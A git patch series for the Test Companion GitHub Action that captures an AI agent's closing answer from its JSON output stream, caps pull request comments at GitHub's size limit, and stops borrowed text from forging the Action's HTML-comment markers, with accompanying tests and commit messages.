createAnswerCapture() + const child = spawn(command, args, { stdio: ["inherit", "pipe", "inherit"], env: childEnv }) + child.stdout.on("data", (chunk) => { + process.stdout.write(chunk) + capture.push(chunk) + }) + child.stdout.on("error", () => {}) + // The command is missing or not executable. Null status is what + // spawnSync gave here too, and the caller turns it into 1. + child.on("error", () => resolve({ status: null, answer: undefined })) + // `close`, not `exit`: exit can fire with stdout still draining, and the + // closing message is the last thing through. + child.on("close", (status) => { + capture.end() + resolve({ status, answer: capture.answer() }) + }) + }) +} diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index f155e13..2b4454c 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -21,6 +21,7 @@ import { decideGate, GATE, describeChangeSize, ANSWER_JOBS } from "./gate.mjs" import { mayAsk, describeTestRepoAccess } from "./access.mjs" import { findTicket } from "./ticket.mjs" import { childEnvFor } from "./child-env.mjs" +import { runCapturingAnswer } from "./answer.mjs" import { appCredentials, signJwt, installationTokenRequest } from "./app-auth.mjs" import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail } from "./outcome.mjs" import { @@ -83,7 +84,6 @@ const SUMMARY_FILE = join(REPORT_DIR, "test-companion-report.md") // is the only place the generated cases survive (FR-20). const RESULT_FILE = join(REPORT_DIR, "test-companion-result.md") - // The artifact the result is uploaded under, named here so the report can // point a reader at it by name. Must match the upload step in action.yml. const RESULT_ARTIFACT = "test-companion-result" @@ -456,7 +456,7 @@ function finishWithStarter(path) { process.exit(0) } -function main() { +async function main() { // Release 4: act as the App when it is installed, so the comment and the // tick carry Test Companion's name. Before anything else talks to GitHub. const appToken = appInstallationToken() @@ -709,7 +709,9 @@ function main() { // posts a SECOND check and the proposal's one stays pending beside // it for the life of the branch (M5). The sweep already does this; // the approval path did not. - const pending = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${plan.context.sha}/check-runs?per_page=100`])?.check_runs) + const pending = inFlightCheckId( + gh(["api", `repos/${REPO}/commits/${plan.context.sha}/check-runs?per_page=100`])?.check_runs, + ) if (pending) rememberCheck(plan.context.sha, pending) consumedMarker = proposalConsumedMarkerFor(plan.context.sha) @@ -919,7 +921,7 @@ function main() { // environment is readable by them. Stripped rather than trusted, because the // product only scrubs these on BrowserStack-hosted runs, not a customer's // own machine (FR-3). - const run = spawnSync("tc", args, { stdio: "inherit", encoding: "utf8", env: childEnvFor(env) }) + const run = await runCapturingAnswer("tc", args, childEnvFor(env)) const exitCode = run.status ?? 1 // The report is absent whenever the process was killed, so treat it as a @@ -997,7 +999,15 @@ function main() { // cli/pkg/cli/commands/narrative.go; a job missing there writes nothing // to the file, so a mismatch shows up as an empty answer, never as // someone else's output. - answer: hasResult && ANSWER_JOBS.has(plan.workflow ?? summary.workflow) ? readResult() : undefined, + // STM-5434: the agent's closing words, for EVERY job. They were always + // in the output stream (run_render.go emits an `answer` event whatever + // the verb); the Action inherited stdout and so never read them, and + // `fix` posted a "Succeeded" table with its diagnosis nowhere in sight. + // The result file stays as the fallback for the two verbs the CLI does + // write it for, so a stream we fail to parse cannot lose what worked. + // It stays gated on ANSWER_JOBS: for `generate` that file holds test + // cases, not prose, and dumping those here would be someone else's output. + answer: run.answer || (hasResult && ANSWER_JOBS.has(plan.workflow ?? summary.workflow) ? readResult() : undefined), failedTests, } // FR-43: a held request posts what it WOULD do and ends. The run that @@ -1112,7 +1122,7 @@ function saveWork(saving, plan) { return [ `**Could not save this work to \`${branch}\`:** the repository's git config carries`, `${unexpected.map((k) => `\`${k}\``).join(", ")}, which \`actions/checkout\` does not write. Config is`, - "where git keeps its \"run this program\" hooks and its URL rewrites, so Test Companion will not", + 'where git keeps its "run this program" hooks and its URL rewrites, so Test Companion will not', "commit against a config it does not recognise. Nothing was committed or pushed — the run's", "changes are in the job's workspace only.", ].join(" ") @@ -1162,7 +1172,8 @@ function saveWork(saving, plan) { // host — which would hand the App token to it. The credential header is // scoped to this exact URL for the same reason. const target = pushUrlFor(REPO, env.GITHUB_SERVER_URL) - if (!target) return renderPushNote({ branch, files: push, skipped: skip, error: `cannot push: bad repository name "${REPO}"` }) + if (!target) + return renderPushNote({ branch, files: push, skipped: skip, error: `cannot push: bad repository name "${REPO}"` }) const pushed = git(["push", target, `HEAD:refs/heads/${branch}`], pushCredentialEnv(env.GH_TOKEN, target)) if (!pushed.ok) { // The one failure worth spelling out, because it is a settings problem @@ -1520,7 +1531,7 @@ function postComment(pr, view) { // run", which is precisely what happened, and still exit 0 so the build-effect // step is what decides whether the build goes red. try { - main() + await main() } catch (e) { const message = e?.stack || String(e) const fence = "```" diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index e707c87..abe67bc 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -27,8 +27,7 @@ import { CAPABILITIES } from "./intent.mjs" * Fails CLOSED: with no login to compare against, nothing is ours. The worst * case is proposing again; the alternative is running someone else's text. */ -export const isOurs = (comment, us) => - Boolean(us) && comment?.user?.type === "Bot" && comment?.user?.login === us +export const isOurs = (comment, us) => Boolean(us) && comment?.user?.type === "Bot" && comment?.user?.login === us export const COMMENT_MARKER = "" @@ -194,9 +193,56 @@ export function renderJobSummary({ return lines.join("\n") } -/** The pull request comment — the same content, plus the marker. */ +/** + * The longest body GitHub will accept on an issue comment. + * + * Over this the API rejects the call outright, so the run reports NOTHING — + * no table, no answer, no link. Worse than the missing answer that reading + * every job's closing words set out to fix (STM-5434). + */ +export const COMMENT_LIMIT = 65536 + +/** Where the whole thing can still be read when the comment could not hold it. */ +function cutShortNote(runUrl) { + const where = runUrl ? `the [run page](${runUrl})` : "the run's summary" + return `\n\n_Cut short to fit a comment. The full version is on ${where}._` +} + +/** + * The pull request comment — the same content, plus the marker. + * + * The answer is the one field with no natural bound: `generate` describing + * thirty test cases runs to tens of thousands of characters. It is cut before + * anything else, because the table, the links and the marker are what make the + * comment work at all — and the marker in particular is how the next run finds + * this comment to edit. Lose it and every run posts a new one (FR-29). + */ export function renderComment(args) { - return `${renderJobSummary(args)}\n\n${COMMENT_MARKER}` + const tail = `\n\n${COMMENT_MARKER}` + const body = renderJobSummary(args) + if (body.length + tail.length <= COMMENT_LIMIT) return body + tail + + const note = cutShortNote(args?.runUrl) + const answer = String(args?.answer ?? "").trim() + if (answer) { + // Measure the rest by rendering it with a one-character answer, so this + // stays exact if the layout around it ever changes. + const overhead = renderJobSummary({ ...args, answer: "x" }).length - 1 + const room = COMMENT_LIMIT - overhead - tail.length - note.length + if (room > 0) { + // Back up to a line break where there is one nearby: cutting inside + // a code fence leaves it unterminated and the rest of the comment + // renders as code. + const cut = answer.slice(0, room) + const nl = cut.lastIndexOf("\n") + const kept = nl > room / 2 ? cut.slice(0, nl) : cut + return renderJobSummary({ ...args, answer: kept + note }) + tail + } + } + // Over the limit with no answer at all — a run with thousands of failing + // tests does this. Trim the rendered body itself; the marker still goes on. + const rest = renderJobSummary({ ...args, answer: undefined }) + return rest.slice(0, Math.max(0, COMMENT_LIMIT - tail.length - note.length)) + note + tail } /** diff --git a/test-companion/test/answer.test.mjs b/test-companion/test/answer.test.mjs new file mode 100644 index 0000000..33ac344 --- /dev/null +++ b/test-companion/test/answer.test.mjs @@ -0,0 +1,186 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { createAnswerCapture, runCapturingAnswer, MAX_PARTIAL_LINE } from "../src/answer.mjs" + +/** One `answer` event as the CLI prints it under --json. */ +const said = (text) => JSON.stringify({ event: "answer", text }) + "\n" + +describe("createAnswerCapture", () => { + test("a run that said nothing has no answer", () => { + const cap = createAnswerCapture() + cap.end() + assert.equal(cap.answer(), undefined) + }) + + test("it keeps what the agent said", () => { + const cap = createAnswerCapture() + cap.push(said("The import points one directory too high.")) + cap.end() + assert.equal(cap.answer(), "The import points one directory too high.") + }) + + test("the LAST answer wins, because the closing message is the one that was asked for", () => { + const cap = createAnswerCapture() + cap.push(said("Reading the build...")) + cap.push(said("Found it.")) + cap.push(said("Here is the fix.")) + cap.end() + assert.equal(cap.answer(), "Here is the fix.") + }) + + test("a line split across two chunks is still read", () => { + const line = said("split down the middle") + const cap = createAnswerCapture() + cap.push(line.slice(0, 12)) + cap.push(line.slice(12)) + cap.end() + assert.equal(cap.answer(), "split down the middle") + }) + + // Agent prose is full of em dashes and arrows. Decoding each chunk on its + // own splits one of those in half and the JSON no longer parses, so the + // answer silently disappears on exactly the runs that have most to say. + test("a multi-byte character split across two chunks is not corrupted", () => { + const buf = Buffer.from(said("preview — nothing was written"), "utf8") + const cut = buf.indexOf(Buffer.from("—", "utf8")) + 1 + const cap = createAnswerCapture() + cap.push(buf.subarray(0, cut)) + cap.push(buf.subarray(cut)) + cap.end() + assert.equal(cap.answer(), "preview — nothing was written") + }) + + test("output that is not JSON is ignored", () => { + const cap = createAnswerCapture() + cap.push("Installing test-companion 1.1.10\n") + cap.push("::group::Run\n") + cap.push(said("the real answer")) + cap.push("not json either\n") + cap.end() + assert.equal(cap.answer(), "the real answer") + }) + + test("JSON events that are not answers are ignored", () => { + const cap = createAnswerCapture() + cap.push(JSON.stringify({ event: "tool", name: "read_file" }) + "\n") + cap.push(JSON.stringify({ event: "usage", credits: 6 }) + "\n") + cap.end() + assert.equal(cap.answer(), undefined) + }) + + test("a JSON array line is ignored rather than throwing", () => { + const cap = createAnswerCapture() + cap.push("[1,2,3]\n") + cap.push('"a bare string"\n') + cap.push("null\n") + cap.end() + assert.equal(cap.answer(), undefined) + }) + + test("an answer with no text does not blank an earlier one", () => { + const cap = createAnswerCapture() + cap.push(said("something useful")) + cap.push(JSON.stringify({ event: "answer" }) + "\n") + cap.push(JSON.stringify({ event: "answer", text: " " }) + "\n") + cap.end() + assert.equal(cap.answer(), "something useful") + }) + + test("the final line is read even with no trailing newline", () => { + const cap = createAnswerCapture() + cap.push(said("first")) + cap.push(JSON.stringify({ event: "answer", text: "last, unterminated" })) + cap.end() + assert.equal(cap.answer(), "last, unterminated") + }) + + test("\\r\\n line endings are handled", () => { + const cap = createAnswerCapture() + cap.push(JSON.stringify({ event: "answer", text: "windows" }) + "\r\n") + cap.end() + assert.equal(cap.answer(), "windows") + }) + + // A command the agent chose can print megabytes with no newline in it. + // Buffering that forever would take the runner down with us. + test("a runaway line with no newline does not grow without bound", () => { + const cap = createAnswerCapture() + for (let i = 0; i < 40; i++) cap.push("x".repeat(100_000)) + assert.ok(cap.pending() <= MAX_PARTIAL_LINE, `buffered ${cap.pending()} bytes`) + // And the stream still works afterwards. + cap.push("\n" + said("still listening")) + cap.end() + assert.equal(cap.answer(), "still listening") + }) +}) + +/** + * The capture is only worth anything wired to a real process: chunk + * boundaries, encoding and the close/drain race are exactly what unit-testing + * a parser on strings cannot show. main.mjs is the untested I/O shell by + * design (see imports.test.mjs), so the spawn lives here where it can be run. + */ +describe("runCapturingAnswer", () => { + const node = process.execPath + /** A stand-in for `tc`: prints the lines it is given, then exits. */ + const fake = (script) => [node, ["-e", script]] + + test("it returns the child's exit status", async () => { + const [cmd, args] = fake("process.exit(3)") + const r = await runCapturingAnswer(cmd, args, process.env) + assert.equal(r.status, 3) + }) + + test("it reads the answer off a real process's output", async () => { + const [cmd, args] = fake( + `process.stdout.write(JSON.stringify({event:"tool",name:"read_file"})+"\\n");` + + `process.stdout.write(JSON.stringify({event:"answer",text:"the cause is the import"})+"\\n")`, + ) + const r = await runCapturingAnswer(cmd, args, process.env) + assert.equal(r.status, 0) + assert.equal(r.answer, "the cause is the import") + }) + + // The run that failed is the one whose explanation matters most. + test("a failing run still gives up its answer", async () => { + const [cmd, args] = fake( + `process.stdout.write(JSON.stringify({event:"answer",text:"tests are still red"})+"\\n");process.exit(5)`, + ) + const r = await runCapturingAnswer(cmd, args, process.env) + assert.equal(r.status, 5) + assert.equal(r.answer, "tests are still red") + }) + + // A long answer arrives in many pipe-sized pieces, split anywhere — + // including through a multi-byte character. + test("an answer larger than the pipe buffer survives being split up", async () => { + const text = "— ".repeat(60_000) + "END" + const [cmd, args] = fake(`process.stdout.write(JSON.stringify({event:"answer",text:${JSON.stringify(text)}})+"\\n")`) + const r = await runCapturingAnswer(cmd, args, process.env) + assert.equal(r.answer, text) + }) + + test("the output still reaches the log on its way past", async () => { + const [cmd, args] = fake(`process.stdout.write(JSON.stringify({event:"answer",text:"hello"})+"\\n")`) + const seen = [] + const real = process.stdout.write.bind(process.stdout) + process.stdout.write = (chunk, ...rest) => { + seen.push(Buffer.isBuffer(chunk) ? chunk.toString("utf8") : String(chunk)) + return real(chunk, ...rest) + } + try { + await runCapturingAnswer(cmd, args, process.env) + } finally { + process.stdout.write = real + } + assert.ok(seen.join("").includes('"event":"answer"'), "the child's output never reached our stdout") + }) + + // `tc` not installed. The old spawnSync gave status null here and the + // caller turned it into 1; throwing instead would lose the whole report. + test("a command that does not exist resolves instead of throwing", async () => { + const r = await runCapturingAnswer("tc-does-not-exist-anywhere", [], process.env) + assert.equal(r.status, null) + assert.equal(r.answer, undefined) + }) +}) diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs index f635f1c..2e54a6e 100644 --- a/test-companion/test/imports.test.mjs +++ b/test-companion/test/imports.test.mjs @@ -137,16 +137,20 @@ describe("main.mjs — the App private key does not outlive its use", () => { } test("it is deleted from the environment", () => { - assert.match( - main, - /delete env\.TC_ACTION_APP_PRIVATE_KEY/, - "the key stays readable by every process this one starts", - ) + assert.match(main, /delete env\.TC_ACTION_APP_PRIVATE_KEY/, "the key stays readable by every process this one starts") }) test("deleted while minting the token, before anything else is spawned", () => { // The agent is the process that matters: it runs with --yolo and picks // its own commands. - assert.ok(at("delete env.TC_ACTION_APP_PRIVATE_KEY") < at('spawnSync("tc"'), "the agent could still read it") + // + // Anchored on the CALL. The spawn itself moved into answer.mjs when the + // Action started reading the agent's output (STM-5434), and anchoring on + // `spawn(` would now find that module's own line, which says nothing + // about the order things happen here. + assert.ok( + at("delete env.TC_ACTION_APP_PRIVATE_KEY") < at('await runCapturingAnswer("tc"'), + "the agent could still read it", + ) }) }) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index e811f05..5139d26 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -8,6 +8,7 @@ import { checkSha, checkSubjectFor, COMMENT_MARKER, + COMMENT_LIMIT, renderNotAuthorized, renderUnknownRequest, proposalMarkerFor, @@ -415,7 +416,13 @@ describe("reading a paginated gh response — FR-29", () => { describe("who asked for a proposal — FR-43", () => { const SHA = "abc123" - const bot = (body, over = {}) => ({ id: 10, user: { type: "Bot", login: US }, body, created_at: new Date().toISOString(), ...over }) + const bot = (body, over = {}) => ({ + id: 10, + user: { type: "Bot", login: US }, + body, + created_at: new Date().toISOString(), + ...over, + }) test("the marker records who asked", () => { assert.match(proposalMarkerFor(SHA, "octocat"), /by=octocat/) @@ -548,7 +555,12 @@ describe("the approved plan handed to the run — FR-43", () => { test("findProposal returns the body, because the run has to read it", () => { const body = `## what I plan to do\n- case one\n\n${proposalMarkerFor(SHA, "octocat")}` - const found = findProposal([{ id: 1, user: { type: "Bot", login: US }, body, created_at: new Date().toISOString() }], SHA, undefined, US) + const found = findProposal( + [{ id: 1, user: { type: "Bot", login: US }, body, created_at: new Date().toISOString() }], + SHA, + undefined, + US, + ) assert.ok(found.body.includes("case one")) }) @@ -727,7 +739,9 @@ describe("the proposal marker carries the JOB, not just the commit (FR-43)", () /** Proposals written before the marker carried a job stay approvable. */ test("a marker with no workflow still matches, and reports none", () => { - const old = [{ user: { type: "Bot", login: US }, body: "plan\n\n" }] + const old = [ + { user: { type: "Bot", login: US }, body: "plan\n\n" }, + ] const found = findProposal(old, "abc1234", undefined, US) assert.ok(found, "an older marker must still be found") assert.equal(found.workflow, undefined) @@ -915,7 +929,10 @@ describe("a proposal marker search is built from literals, never from raw input" test("a sha with regex metacharacters matches itself and nothing else", () => { const nasty = "a.c*d+" const body = `` - assert.ok(findProposal([{ user: { type: "Bot", login: US }, body, id: 1 }], nasty, undefined, US), "an escaped sha must still match itself") + assert.ok( + findProposal([{ user: { type: "Bot", login: US }, body, id: 1 }], nasty, undefined, US), + "an escaped sha must still match itself", + ) // Unescaped, `a.c*d+` would also match "abcccd" — a proposal for another commit. const other = "" assert.equal(findProposal([{ user: { type: "Bot", login: US }, body: other, id: 2 }], nasty, undefined, US), undefined) @@ -924,7 +941,12 @@ describe("a proposal marker search is built from literals, never from raw input" test("a long run of repeats does not hang the search", () => { // The shape ReDoS reports are about. Linear here, so it returns at once. const started = Date.now() - findProposal([{ user: { type: "Bot", login: US }, body: `` - const them = (body, id = 9) => ({ user: { type: "Bot", login: "github-actions[bot]" }, body, id, created_at: new Date().toISOString() }) + const them = (body, id = 9) => ({ + user: { type: "Bot", login: "github-actions[bot]" }, + body, + id, + created_at: new Date().toISOString(), + }) const us = (body, id = 1) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) test("another bot's proposal is NOT approvable", () => { @@ -1005,7 +1035,12 @@ describe("only OUR OWN comments count as ours", () => { }) test("a human quoting the marker is still not us", () => { - const human = { user: { type: "User", login: "dev" }, body: marker("abc123"), id: 3, created_at: new Date().toISOString() } + const human = { + user: { type: "User", login: "dev" }, + body: marker("abc123"), + id: 3, + created_at: new Date().toISOString(), + } assert.equal(findProposal([human], "abc123", Date.now(), US), undefined) }) }) @@ -1077,7 +1112,10 @@ describe("a plan that was already used says so, rather than blaming the commit", const ours = (body, id) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) test("an approved plan on THIS commit is reported as used", () => { - const comments = [ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "generate")}`, 1), ours(`ran\n\n${proposalConsumedMarkerFor(SHA)}`, 2)] + const comments = [ + ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "generate")}`, 1), + ours(`ran\n\n${proposalConsumedMarkerFor(SHA)}`, 2), + ] assert.equal(proposalAlreadyUsed(comments, SHA, US), "approved") }) @@ -1101,3 +1139,73 @@ describe("a plan that was already used says so, rather than blaming the commit", assert.equal(proposalAlreadyUsed([theirs], SHA, US), undefined) }) }) + +/** + * STM-5434: now that EVERY job's answer reaches the comment, the comment can + * be too big to post. + * + * GitHub refuses a body over 65,536 characters outright — the call fails and + * the run reports nothing at all, which is worse than the missing answer this + * change set out to fix. `generate` is the realistic case: thirty test cases + * described in prose. + */ +describe("renderComment keeps the body postable", () => { + const view = (answer) => ({ + workflow: "fix", + outcome: OUTCOMES.SUCCEEDED, + summary: { workflow: "fix", event: "pr_comment", duration: "49s", credits: 6 }, + runUrl: "https://github.com/o/r/actions/runs/1", + answer, + }) + + test("a normal comment is untouched", () => { + const body = renderComment(view("The import points one directory too high.")) + assert.ok(body.includes("The import points one directory too high.")) + assert.ok(body.endsWith(COMMENT_MARKER)) + assert.ok(body.length < COMMENT_LIMIT) + }) + + test("an oversized answer is cut to fit", () => { + const body = renderComment(view("word ".repeat(40_000))) + assert.ok(body.length <= COMMENT_LIMIT, `body was ${body.length}`) + }) + + test("the marker survives the cut, or every run posts a second comment", () => { + const body = renderComment(view("word ".repeat(40_000))) + assert.ok(body.endsWith(COMMENT_MARKER)) + }) + + test("the start of the answer is what is kept", () => { + const body = renderComment(view("THE CAUSE IS THE IMPORT.\n" + "filler ".repeat(40_000))) + assert.ok(body.includes("THE CAUSE IS THE IMPORT.")) + }) + + test("it says it was cut and where the rest is", () => { + const body = renderComment(view("word ".repeat(40_000))) + assert.match(body, /cut short/i) + assert.ok(body.includes("https://github.com/o/r/actions/runs/1")) + }) + + test("the table still renders above the cut answer", () => { + const body = renderComment(view("word ".repeat(40_000))) + assert.ok(body.includes("| Job | fix |")) + assert.ok(body.includes("Test Companion — Succeeded")) + }) + + // Not the answer's fault. The listed failures are capped, but a test NAME + // comes from the run's own output and nothing bounds it, so the guarantee + // has to hold without an answer to cut. + test("a body that is too big even without the answer is still postable", () => { + const failedTests = [{ name: "deeply/nested/".repeat(6000) + "test_name" }] + const body = renderComment({ ...view(undefined), failedTests }) + assert.ok(body.length <= COMMENT_LIMIT, `body was ${body.length}`) + assert.ok(body.endsWith(COMMENT_MARKER)) + assert.match(body, /cut short/i) + }) + + test("no run link still produces a usable notice", () => { + const body = renderComment({ ...view("word ".repeat(40_000)), runUrl: undefined }) + assert.ok(body.length <= COMMENT_LIMIT) + assert.match(body, /cut short/i) + }) +}) From b0fa7c1199377480181090037bb1322c1cb40d6d Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Mon, 2 Nov 2026 19:03:20 +0530 Subject: [PATCH 24/49] fix: stop borrowed text forging a marker in our own comment MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The answer and the failing-test names are the only parts of the comment this Action did not write — agent prose quoting build logs and repository files, and test names out of the run's report. On a fork's pull request that is attacker-influenceable, and even without malice a log line can happen to contain one of our markers. Markers are HTML comments, and they are how a later run finds this comment to edit and how a proposal's state is tracked, so one arriving inside borrowed text is read back as our own control data. Only the opening delimiter is broken: `<!--` still reads as `` is three + * characters of prose. `<!--` still reads as ` on line 4" })) + assert.match(body, /test-companion-run/, "the text was deleted rather than neutralised") + assert.ok(body.includes("on line 4")) + }) + + // Neutralising makes the text LONGER, so the size cap has to measure what + // actually goes out. Measuring the raw answer let one full of markers + // overrun the limit and the comment would not post at all. + test("an answer full of markers still fits once neutralised", () => { + const body = renderComment(view({ answer: " ${COMMENT_MARKER}` }] })) + assert.equal(body.split(COMMENT_MARKER).length - 1, 1) + assert.ok(!body.includes("1 -->"), "a non-numeric line was printed verbatim") + }) + + test("a real line number still shows", () => { + const body = renderComment(view({ failedTests: [{ name: "t", file: "a.js", line: 42 }] })) + assert.ok(body.includes("a.js:42")) + }) + + for (const [field, where] of [ + ["error_type", "why it stopped"], + ["saved_to", "where the cases went"], + ["duration", "a table cell"], + ["event", "a table cell"], + ]) { + test(`a marker in the report's ${field} (${where}) cannot reach the body`, () => { + const summary = { + workflow: "generate", + event: "pr_comment", + cases_generated: 3, + cases_saved: 3, + [field]: `x ${COMMENT_MARKER} x`, + } + const body = renderComment(view({ summary })) + assert.equal(body.split(COMMENT_MARKER).length - 1, 1, `${field} forged a marker`) + }) + } + // Neutralising makes the text LONGER, so the size cap has to measure what // actually goes out. Measuring the raw answer let one full of markers // overrun the limit and the comment would not post at all. From 8258d8c151aca5a35b28fb114b8b1ec5bc54cc48 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Mon, 2 Nov 2026 19:32:19 +0530 Subject: [PATCH 26/49] fix: a proposal printed the answer twice `test-pr`, proposing, is one of the verbs whose result file holds the same closing text the summary now shows. The proposal rendered the summary and then appended the result file below it, so the whole explanation appeared twice in one comment (run 41457337090). The plan is now left off when the summary already contains it, compared on squashed whitespace. `generate` keeps both, because its result file holds the case list rather than the prose summary. Co-Authored-By: Claude Opus 5 --- test-companion/src/report.mjs | 13 +++++++- test-companion/test/report.test.mjs | 47 +++++++++++++++++++++++++++++ 2 files changed, 59 insertions(+), 1 deletion(-) diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index b5eef7a..77d7b31 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -646,6 +646,17 @@ export function renderProposalBody({ summary, plan, sizeNote } = {}) { if (String(summary ?? "").trim()) parts.push(summary, "") const body = String(plan ?? "").trim() + // The answer is now caught off the run's own output and rendered in the + // summary above, for every job. For the verbs whose result file holds that + // SAME closing text — `test-pr` proposing is one — appending it here + // printed the whole explanation twice (live run 41457337090). Compared on + // squashed whitespace, because the two copies travel by different routes + // and need not agree on line breaks. + const squash = (t) => + String(t ?? "") + .replace(/\s+/g, " ") + .trim() + const alreadyAbove = body !== "" && squash(summary).includes(squash(body)) // Only `test-pr` writes a separate plan file. For every other job the // proposal run is a PREVIEW run — it does the work and writes nothing — // so its report above IS what is being approved. Saying "there is nothing @@ -653,7 +664,7 @@ export function renderProposalBody({ summary, plan, sizeNote } = {}) { const noPlan = String(summary ?? "").trim() ? "_The report above is what this run would do. Nothing has been written._" : "_This run did not produce a plan — there is nothing here to approve. The run log will say why; re-run once that is fixed._" - parts.push(body || noPlan) + parts.push(alreadyAbove ? noPlan : body || noPlan) return parts.join("\n") } diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 4ec0e93..09fa191 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -1309,3 +1309,50 @@ describe("renderComment does not let borrowed text forge a marker", () => { assert.ok(body.includes("expected `a < b`, got `a > b` in ")) }) }) + +/** + * Found on a live run the moment every job started showing its answer. + * + * `test-pr`, proposing, is one of the verbs the CLI DOES write its closing + * words to the result file for. The proposal renders the job summary — which + * now carries that same text, caught off the output stream — and then appends + * the result file underneath it. The reader got the whole explanation twice. + */ +describe("renderProposalBody does not print the answer twice", () => { + const plan = "Here is exactly what needs to be applied to `tests/pricing.spec.js`:\n\n- fix the import" + + test("a plan that repeats the summary's answer is not shown again", () => { + const summary = `## Test Companion — Succeeded\n\n${plan}\n\n[Full run](https://x)` + const body = renderProposalBody({ summary, plan }) + assert.equal(body.split("fix the import").length - 1, 1, "the answer was printed twice") + }) + + test("the summary is still there in full", () => { + const summary = `## Test Companion — Succeeded\n\n${plan}\n\n[Full run](https://x)` + const body = renderProposalBody({ summary, plan }) + assert.ok(body.includes("## Test Companion — Succeeded")) + assert.ok(body.includes("[Full run](https://x)")) + }) + + // generate is the case that must NOT change: its result file holds the + // case list, which is different text from the prose summary above it. + test("a plan that is different content is still appended", () => { + const summary = "## Test Companion — Succeeded\n\n11 test cases created, covering the gift card." + const casesList = "# Test Companion result — generate\n\n## T001 — Gift card partially covers order" + const body = renderProposalBody({ summary, plan: casesList }) + assert.ok(body.includes("11 test cases created")) + assert.ok(body.includes("## T001 — Gift card partially covers order")) + }) + + test("whitespace differences do not defeat the check", () => { + const summary = `## Test Companion\n\n${plan}\n` + const body = renderProposalBody({ summary, plan: ` ${plan} \n\n` }) + assert.equal(body.split("fix the import").length - 1, 1) + }) + + test("with no plan at all the summary still stands alone", () => { + const body = renderProposalBody({ summary: "## Test Companion — Succeeded", plan: "" }) + assert.ok(body.includes("## Test Companion — Succeeded")) + assert.match(body, /what this run would do/) + }) +}) From 82c9954142da7010294aeda59dee88234e600fc9 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Mon, 2 Nov 2026 19:45:08 +0530 Subject: [PATCH 27/49] feat: say which request the comment is answering MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit One comment, edited in place, keeps the thread tidy and loses track of what you are looking at. Where several people ask for different jobs on the same pull request, the comment quietly becomes the answer to whichever ran last, with nothing saying whose question that was. The report now carries an "Asked by" row linking the comment that started the run — the person's name as the link text, their comment as the target. A run nobody asked for has no such comment, and the row is left out rather than invented. This needed the comment's own URL, which the event payload has and the plan was discarding; only the author's login was kept. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 5 ++++ test-companion/src/plan-run.mjs | 4 +++ test-companion/src/report.mjs | 5 ++++ test-companion/test/plan-run.test.mjs | 42 ++++++++++++++++++++++++++- test-companion/test/report.test.mjs | 38 ++++++++++++++++++++++++ 5 files changed, 93 insertions(+), 1 deletion(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 2b4454c..59bdff6 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -992,6 +992,11 @@ async function main() { // same CLI version, which means showing it. cliVersion: summary.cli_version || env.TC_ACTION_CLI_VERSION, resultArtifact: hasResult ? RESULT_ARTIFACT : undefined, + // Which request this answers. The comment is edited in place, so on a + // pull request where several people have asked for different things, + // nothing otherwise said whose question the current contents answer. + askedBy: plan.commenter, + askedAt: plan.askedAt, // `rca` and `verdict` leave no artefact — their result file holds the // agent's own closing words, and that IS what was asked for. Without // this the comment was a table saying "Succeeded" with no answer in it diff --git a/test-companion/src/plan-run.mjs b/test-companion/src/plan-run.mjs index b281c3d..013c1a0 100644 --- a/test-companion/src/plan-run.mjs +++ b/test-companion/src/plan-run.mjs @@ -247,6 +247,10 @@ function fromComment(payload, inputs) { }, requiresWriteAccess: true, commenter: payload.comment?.user?.login, + // Where the request was made. One comment edited in place cannot + // otherwise say WHICH request it is answering, and on a busy pull + // request that is most of the question. + askedAt: payload.comment?.html_url, // Carried so main.mjs can refuse it when no proposal is waiting. approvalOnly, } diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 77d7b31..3455e70 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -132,6 +132,8 @@ export function renderJobSummary({ failedTests, approvalNote, answer, + askedBy, + askedAt, workNote, extraChecks = [], warnings = [], @@ -180,6 +182,9 @@ export function renderJobSummary({ // with the limit the run was given. ["Cost", summary.credits ? `${summary.credits} credits` : ""], ["CLI", cliVersion], + // Which request this is the answer to. The comment is edited in place, + // so without this a reader cannot tell whose question it answers. + ["Asked by", askedBy ? (askedAt ? `[@${askedBy}](${askedAt})` : `@${askedBy}`) : ""], ].filter(([, v]) => v) lines.push("| | |", "|---|---|") diff --git a/test-companion/test/plan-run.test.mjs b/test-companion/test/plan-run.test.mjs index ad1110a..8123313 100644 --- a/test-companion/test/plan-run.test.mjs +++ b/test-companion/test/plan-run.test.mjs @@ -648,7 +648,11 @@ describe("an unaddressed comment counts as approval only when it is exactly that test("an ordinary review comment that merely starts with the word does NOT", () => { for (const body of ["Approved, but rename the login case", "go ahead and ship it", "approved pending CI"]) { - assert.equal(comment(body).skip?.reason ?? comment(body).skip, "not-addressed-to-us", `${JSON.stringify(body)} must not start a run`) + assert.equal( 